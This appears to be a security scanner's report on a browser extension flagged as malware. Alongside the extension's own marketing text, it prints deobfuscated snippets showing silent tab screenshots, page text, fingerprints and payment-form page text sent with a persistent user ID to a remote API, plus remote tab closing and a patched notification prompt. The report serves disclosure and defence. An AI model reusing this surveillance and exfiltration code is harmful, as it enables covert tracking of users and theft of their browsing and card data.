Security Alert: Confirmed Malware
Paranoid Web Extension
ID: dnncmhkfafdcmjldmanfjhbeljcfbeao
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- https://webparanoid.comView Profile
- Privacy
- Privacy Policy
- Country
- GB
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- Unit 64002, Second Floor, 6 Market Place London W1W 8AF GB
- Website
- Visit
Secure Shopping, Child Protection, Block Adult sites, Casino, and Dangerous Sites
The most advanced tool to block all types of dangerous sites including fake shops, phishing, and scam sites. Don't want to think every time is a site is safe or not, constantly check if it is fraudulent? We can do it for you. The Paranoid Web Extension checks every site you come across from an advertisement, email, or link from a friend or a colleague whose account may have been compromised. The extension was created to protect both new network users and experienced ones because not everyone can notice the substitution of a letter in the domain or analyze the site's reputation. Sometimes it is enough for hackers to create a fake financial site on a different domain zone (example: paypall.website ) and most of the users will simply ignore this and leave their account in the hands of scammers. Don't be afraid to shop on unfamiliar sites. We will alert you at the slightest hint of fraud. Paranoid Web Extension also blocks adult and gambling sites, casinos, etc. Protect yourself and your family. Installation and configuration take less than 3 minutes.
The extension invokes `chrome.tabs.captureVisibleTab` to silently take a PNG screenshot of the active tab, then calls `GetVisibleText` to retrieve the full body text of the page. Both the screenshot (as a base64 data URI) and the page text are passed to `Object(m["a"])` (the `FullReport` function at line 4863), which POSTs them to `https://api.webparanoid.com/report` linked to the persistent user ID. The setting `SendScreenshotToUs: 1` is the hardcoded default, meaning this fires for all users unless explicitly disabled.
function S(o, e, i) { if ("string" === typeof o.reason && "adult" === o.reason && f.BlockBadSites && Object(c["h"])(e), "string" === typeof o.alert) { let i = o.message; "code11" === i && (i = a.i18n.getMessage("ShopAlert") .replace("{days}", o.age)), "code12" === i && (i = a.i18n.getMessage("NotificationAlert") .replace("{days}", o.age)), chrome.tabs.captureVisibleTab(null, { format: "png", quality: 20 }, (function(a) { new Promise((a, o) => { chrome.tabs.sendMessage(e.id, { id: e.id, action: "GetVisibleText" }, (function(o) { a(o) })) }) .then(n => { Object(m["a"])(o.incident, a, n), chrome.tabs.sendMessage(e.id, { incident: o.incident, id: e.id, message: i, code: o.alert, domain: o.domain, action: "open_dialog_box", screenshot: a }) }, a => {}) })) }This `FullReport` function serialises the user's persistent tracking ID (`ParanoidIdMd5`), a screenshot (base64 PNG), and the full visible page text, then exfiltrates them via a POST to `api.webparanoid.com/report`. It is called whenever the extension decides a visited site is suspicious — without explicit user consent to transmit screenshots and page content. The payload structure (`user`, `screenshot`, `text`) constitutes a surveillance-grade data collection pipeline.
function i(a, o, e) { const i = {}; chrome.storage.local.get(["ParanoidIdMd5"]) .then(o => { i.user = o.ParanoidIdMd5, i.report = "FullReport", i.incident = a, i.screenshot = "", i.text = e; const n = { "Content-Type": "application/json" }; fetch("https://api.webparanoid.com/report", { method: "POST", headers: n, body: JSON.stringify(i) }) .then(a => a.json()) .then(a => {}) })}For every page load on every site, the extension assembles a fingerprinting payload that includes the full URL (`r.full`), user tracking ID, browser locale, page title, an MD5 hash of the favicon image, a structural "design hash" of the DOM (counts of input/img/a/div/span/p/form elements and image dimensions), and the visible page text — all submitted to `https://api.webparanoid.com/check` via `I()`. This constitutes pervasive cross-site browsing surveillance tied to a persistent per-user identifier.
function B(a, o = {}, e = 4) { "string" === typeof a.url && chrome.tabs.get(a.id, async i => { ... r.full = i.url; ... "true" === a.ignore && (r.cache = "fullignore"), r.locale = chrome.i18n.getUILanguage(), r .user = a.ParanoidIdMd5, r.title = _(i.title), r.m = o.detectmail, r.discount = o .discount; const c = new Promise((a, o) => { "string" === typeof i.favIconUrl ? (r.icon = i.favIconUrl, fetch(r.icon) .then(a => a.blob()) .then(o => { x(o) .then(o => { const e = s.a.MD5(o.split(",", 2)[1]) .toString(); a(e) }) })) : a("") }); c.then((function(a) { return r.icon = a, new Promise((a, o) => { chrome.tabs.sendMessage(i.id, { id: i.id, action: "GetDesignHash" }, (function(o) { a(o) })) }) })) .then((function(a) { r.design = a, I(r, i, o.visibleText) })) })}The extension polls every 3 seconds watching all `<input>` elements for payment-card attribute names (`cc-number`, `cardnumber`, `cvv`, `cvv2`, etc.). The moment a matching field is found it transmits the entire visible body text of the page — which may include pre-filled or auto-completed card data — to the background script via `chrome.runtime.sendMessage`. The background then forwards this as a `form` report to the remote API, making this a latent card-skimmer pattern.
function j(a) { const o = ["cc-type", "cc-exp", "cc-exp-year", "cc-exp-month", "cc-number", "cc-name", "cc-csc", "shipping", "ccn", "cvv", "cvv2", "ccname", "cardnumber", "cvc", "ccmonth", "ccyear", "exp-date", "card-type" ]; for (let i = 0, e = o.length; i < e; i++) if (a.includes(o[i])) return !0; return !1}function b(a) { const o = setInterval((function() { const a = document.getElementsByTagName("input"); if (0 !== a.length) for (let i = 0, e = a.length; i < e; i++) if (j(a[i].outerHTML)) return clearInterval(o), void chrome.runtime.sendMessage({ type: "form", visibleText: document.querySelector("body") .innerText }) }), 3e3)}On first run the extension contacts `api.webparanoid.com/user2` which returns a server-assigned tracking token stored as `ParanoidIdMd5`; if the request fails a hardcoded fallback MD5 is used. This token is then included in every subsequent report and check call, creating a persistent cross-site user identity known to the remote server. The server therefore correlates the complete browsing history of 10,000 users under a stable pseudonymous ID.
fetch("https://api.webparanoid.com/user2?u=" + o, { method: "POST", headers: e, body: JSON.stringify({ agent: "v3manifest" }) }) .then(a => a.text()) .then(o => { chrome.storage.local.set({ ParanoidIdMd5: o }) .then(() => {}), h(o), a("") }) .catch(o => { chrome.storage.local.set({ ParanoidIdMd5: "9e7aa5c51cfe1d6922cd9a0c03387901" }) .then(() => {}) })The function reads the complete raw `document.body.innerHTML` and applies a regex to extract all email address-shaped strings. While the function only returns a boolean flag (does the page contain an email matching the site domain?), this flag is included in the `CheckPageScam` message and forwarded to the remote API as the `detectmail` field, confirming the extension actively scans every page's HTML for email addresses as part of its surveillance payload.
function B() { var a = document.body.innerHTML; const o = a.toString(), i = o.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi); if (null === i) return 0; const e = P(window.location.hostname.replace("www.", "")); for (var n = 0, t = i.length; n < t; n++) if (i[n].includes(e)) return 1; return 0}In response to the `GetVisibleText` message sent by the background script (triggered after taking a tab screenshot), the content script returns the complete `body.innerText` of the current page to the background. This text is then included in the `FullReport` payload exfiltrated to `api.webparanoid.com/report`. This provides the remote server with full plaintext page content — including anything visible on banking, medical, or personal-data pages — tied to the persistent user ID.
return "GetVisibleText" === a.action ? (i(document .querySelector("body") .innerText), !0)After scanning up to 20 images per page with a local TensorFlow/Keras model (`model/model.json`) for adult content classification, the extension POSTs the domain hostname along with the persistent user ID to `api.webparanoid.com/report` with `report: "porn"`. This discloses to the remote server the specific sites each tracked user visits that contain flagged imagery, building a detailed behavioral profile without user awareness or consent.
function n(a) { chrome.storage.local.get(["ParanoidIdMd5"]) .then(o => { const e = {}; e.user = o.ParanoidIdMd5, e.report = "porn", e.host = a; const i = { "Content-Type": "application/json" }; fetch("https://api.webparanoid.com/report", { method: "POST", headers: i, body: JSON.stringify(e) }) .then(a => a.json()) .then(a => {}) })}The background script can silently close the user's active tab and open a replacement tab without any warning dialog, triggered when the remote API classifies a visited URL as suspicious. Since the blocklist is fetched from `api.webparanoid.com/database`, the remote server has unilateral authority to redirect or close any tab for any of the 10,000 users — a remote-controlled browser manipulation capability.
function l(a) { const o = new URL(a.url), e = s.a.parse(o.host); chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({ url: "https://" + e.domain })}...!1 !== i["a"].includes(e) && (chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({ url: "https://google.com" })) ... chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({ url: "https://" + e.domain })This web-accessible script (declared in `web_accessible_resources` matching `<all_urls>`) monkey-patches `Notification.requestPermission` on every page, injecting a hidden `<input>` element into `document.body.innerHTML` whenever any site requests notification permission. The content script polls for `#ParanoidFindalert` to trigger a notification-abuse report back to the extension, meaning the extension intercepts and instruments every site's permission request flow without disclosure.
const oldNotPerm = Notification.requestPermissionNotification.requestPermission = function() { document.body.innerHTML += '<input type="hidden" id="ParanoidFindalert" class="ParanoidFindAlert" name="title" value="alert">' return oldNotPerm.apply(this, arguments)}By severity
Versions scanned
Showing 1 of 25 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.1.9.1 | 10 |
Files with findings
3 distinct paths — top paths by unique finding count:
- js/background.js6
- js/content-script.js3
- detectnotification.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.